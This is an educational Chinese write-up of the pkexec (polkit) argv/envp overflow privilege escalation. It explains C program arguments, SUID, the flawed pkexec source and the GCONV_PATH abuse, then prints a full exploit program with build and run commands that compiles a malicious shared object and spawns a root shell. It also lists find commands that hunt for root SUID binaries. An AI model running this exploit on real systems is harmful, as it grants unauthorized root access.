c语言相关预备知识
- 要点:
c语言或者c++ 语言都要想运行必须要有一个main函数, 其中main函数可以带三个参数,分别为(argc, argv, envp) 函数原型如下:
int main(int argc, char *argv[], char *envp[])
-
argc是什么? 答: 这是一个整型变量,表示运行程序的命令行传入的参数个数。由于程序的名称默认被看作第一个参数,argc至少是1。 -
argv是什么? 答:argv[]表示以null为结尾的字符串数组,(个人理解是argv 数组中存储了指针,每个指针指向一个字符串的开头,也就是对应的参数, 最后一个指针 argv[argc] 的值为null); 可以这样定义 char *argv[] , 也可以这样定义char **argv 。 -
envp是什么? 答:这是系统的环境变量,内容一般以"名称=值"的形式, 以NULL结束。(可以尝试打印一下,我试了一下,打印出许多变量, 例如HISTSIZE, USER 等) -
内存中argv和envp的存放位置关系是什么?(这是一个非常重要的知识点,可以通过argv来访问envp中对应的内容) 内存中存放的位置关系如下。 我尝试了一下argv[argc+1] 的值就是envp[0]的值。
|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
- execve函数是什么?
答: 可以用这个函数执行shell脚本, 单独的shell命令,或者调用其他的程序。
#include <unistd.h>
int execve(const char *filename, char *const argv[], char *const envp[]);
其他预备知识
- SUID是什么?
SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。
以下命令可以发现系统上运行的所有SUID可执行文件。具体来说,命令将尝试查找具有root权限的SUID的文件。
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
一个小实验
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char **argv, char** envp)
{
printf("argv[1]:%s\n", argv[1]);
}
直接运行的效果如下:
[test@]$ ./a
argv[1]: ----- (null)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char * argv[]){
char *a_argv[] = { NULL };
char *a_envp[] = {"lol", NULL};
execve("./a", a_argv, a_envp);
}
运行效果如下:
argv[1]: ----- lol
- 要点:
如果execve中的argv参数不为null,参数在内存中的分布就是"参数 + null". 如果argv参数只包含null, 那么参数在内存中的分布就只是"null". - 结论: 如果在写c语言代码的时候,不小心把argv溢出了,就有可能把envp[0]覆盖掉,这是漏洞出现的原因。
漏洞分析
pkexec源码地址: https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.120/src/programs/pkexec.c
for (n = 1; n < (guint) argc; n++)
{
if (strcmp (argv[n], "--help") == 0)
{
opt_show_help = TRUE;
}
else if (strcmp (argv[n], "--version") == 0)
{
opt_show_version = TRUE;
}
else if (strcmp (argv[n], "--user") == 0 || strcmp (argv[n], "-u") == 0)
{
n++;
if (n >= (guint) argc)
{
usage (argc, argv);
goto out;
}
if (opt_user != NULL)
{
g_printerr ("--user specified twice\n");
goto out;
}
opt_user = g_strdup (argv[n]);
}
else if (strcmp (argv[n], "--disable-internal-agent") == 0)
{
opt_disable_internal_agent = TRUE;
}
else
{
break;
}
}
g_assert (argv[argc] == NULL);
path = g_strdup (argv[n]);
if (path == NULL)
{
GPtrArray *shell_argv;
path = g_strdup (pwstruct.pw_shell);
if (!path)
{
g_printerr ("No shell configured or error retrieving pw_shell\n");
goto out;
}
command_line = g_strdup (path);
shell_argv = g_ptr_array_new ();
g_ptr_array_add (shell_argv, path);
g_ptr_array_add (shell_argv, NULL);
exec_argv = (char**)g_ptr_array_free (shell_argv, FALSE);
}
if (path[0] != '/')
{
s = g_find_program_in_path (path);
if (s == NULL)
{
g_printerr ("Cannot run program %s: %s\n", path, strerror (ENOENT));
goto out;
}
g_free (path);
argv[n] = path = s;
}
if (access (path, F_OK) != 0)
{
g_printerr ("Error accessing %s: %s\n", path, g_strerror (errno));
goto out;
}
if (!command_line)
{
command_line = g_strjoinv (" ", argv + n);
exec_argv = argv + n;
}
整理一下, 如果执行pkexec而不带参数,则会发生溢出,在envp中引入可以被构造的环境变量。
- 假设我们执行pkexec,此时argc=0,envp={“xxx”}
- 程序会读取argv[1]到path变量中,也就是"xxx"
- s = g_find_program_in_path (path)找到该程序的绝对路径,假设为/usr/bin/xxx
- 程序将s写入argv[1]和path,从而覆盖了第一个环境变量。此时envp也就变成了{"/usr/bin/xxx"}
也就是说,这个绝对路径有可能会被利用,改名环境变量,
漏洞利用
漏洞利用之前, 还需要了解一个知识点:
在pkexec中多次使用了g_printerr()函数,该函数是调用GLib的函数。但是如果环境变量CHARSET不是UTF-8,g_printerr()将会调用glibc的函数iconv_open(),来将消息从UTF-8转换为另一种格式。
iconv_open函数的执行过程为:iconv_open函数首先会找到系统提供的gconv-modules配置文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中,即gconv-modules文件提供了各个字符集的.so文件所在位置,之后会调用.so文件中的gconv()与gonv_init()函数。
那么利用的思路就来了: 由于我们在上一节已经知道,我们可以人为构造一种场景来改变环境变量,那么是否可以设法在pkexec运行的时候改变环境变量 GCONV_PATH, 从而执行我们的恶意so文件。只要思想不滑坡,办法总比困难多~
具体的利用过程描述如下:
- 首先一个gconv-modules配置文件,放置在./xxx目录下,其内容指向一个准备好的恶意so文件。
- 创建可执行文件xxx,放置在./GCONV_PATH=.目录下,注意目录名称为GCONV_PATH=.
- 然后调用pkexec,argc=0,envp={“xxx”,“PATH=GCONV_PATH=.”,“LC_MESSAGES=en_US.UTF-8”,“XAUTHORITY=…/LOL”, NULL}
- pkexec执行到610行,path=xxx
- pkexec执行到632行,找到xxx的具体位置,因为我们制定了环境变量PATH=GCONV_PATH=.,所以会找到xxx的具体位置为GCONV_PATH=./xxx
- pkexec执行到636行,envp[0] = argv[1] = path= GCONV_PATH=./xxx,此时envp为{“GCONV_PATH=./xxx”,“PATH=GCONV_PATH=.”,“LC_MESSAGES=en_US.UTF-8”}
- pkexec执行到670行,调用validate_environment_variable函数,因为XAUTHORITY环境变量不合法,触发g_printerr函数,从而调用iconv_open()函数,找到gconv-modules配置文件:./xxx/gconv-modules,然后找到so文件,最终执行so文件。
exp如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
void fatal(char *f) {
perror(f);
exit(-1);
}
void compile_so() {
FILE *f = fopen("payload.c", "wb");
if (f == NULL) {
fatal("fopen");
}
char so_code[]=
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n"
"void gconv() {\n"
" return;\n"
"}\n"
"void gconv_init() {\n"
" setuid(0); seteuid(0); setgid(0); setegid(0);\n"
" static char *a_argv[] = { \"sh\", NULL };\n"
" static char *a_envp[] = { \"PATH=/bin:/usr/bin:/sbin\", NULL };\n"
" execve(\"/bin/sh\", a_argv, a_envp);\n"
" exit(0);\n"
"}\n";
fwrite(so_code, strlen(so_code), 1, f);
fclose(f);
system("gcc -o payload.so -shared -fPIC payload.c");
}
int main(int argc, char *argv[]) {
struct stat st;
char *a_argv[]={ NULL };
char *a_envp[]={
"lol",
"PATH=GCONV_PATH=.",
"LC_MESSAGES=en_US.UTF-8",
"XAUTHORITY=../LOL",
NULL
};
printf("[~] compile helper..\n");
compile_so();
if (stat("GCONV_PATH=.", &st) < 0) {
if(mkdir("GCONV_PATH=.", 0777) < 0) {
fatal("mkdir");
}
int fd = open("GCONV_PATH=./lol", O_CREAT|O_RDWR, 0777);
if (fd < 0) {
fatal("open");
}
close(fd);
}
if (stat("lol", &st) < 0) {
if(mkdir("lol", 0777) < 0) {
fatal("mkdir");
}
FILE *fp = fopen("lol/gconv-modules", "wb");
if(fp == NULL) {
fatal("fopen");
}
fprintf(fp, "module UTF-8// INTERNAL ../payload 2\n");
fclose(fp);
}
printf("[~] maybe get shell now?\n");
execve("/usr/bin/pkexec", a_argv, a_envp);
}
使用方式如下:
gcc exp.c -o exp
./exp
总结
这里可以小结一下,该漏洞可以利用的条件有哪些:
- pkexec 的c源程序中在不带参数的情况下,使用了argv[1],会导致溢出。
- execve函数执行pkexec命令时不带参数会有被改写envp[0]的风险。
- 改变环境变量GCONV_PATH的值,会有执行恶意so文件的风险。
- 如果XAUTHORITY环境变量不合法,或者环境变量CHARSET不是UTF-8,g_printerr()将会调用glibc的函数iconv_open()。[这是触发条件]
- iconv_open() 找到 gconv-modules配置文件,执行指定的so文件。
- pkexec 有特殊权限suid
- 不带参数的情况下,有没有引用argv[1]
- 通过改变环境变量能否让程序执行恶意的文件。
- 可执行程序是否拥有特殊权限suid.
- 指针不要越界,数组不要溢出,做好参数校验。
感受:对于漏洞初学者,这个漏洞的利用方式就是一个字"妙"啊~
主要参考资料: https://saucer-man.com/information_security/876.html
|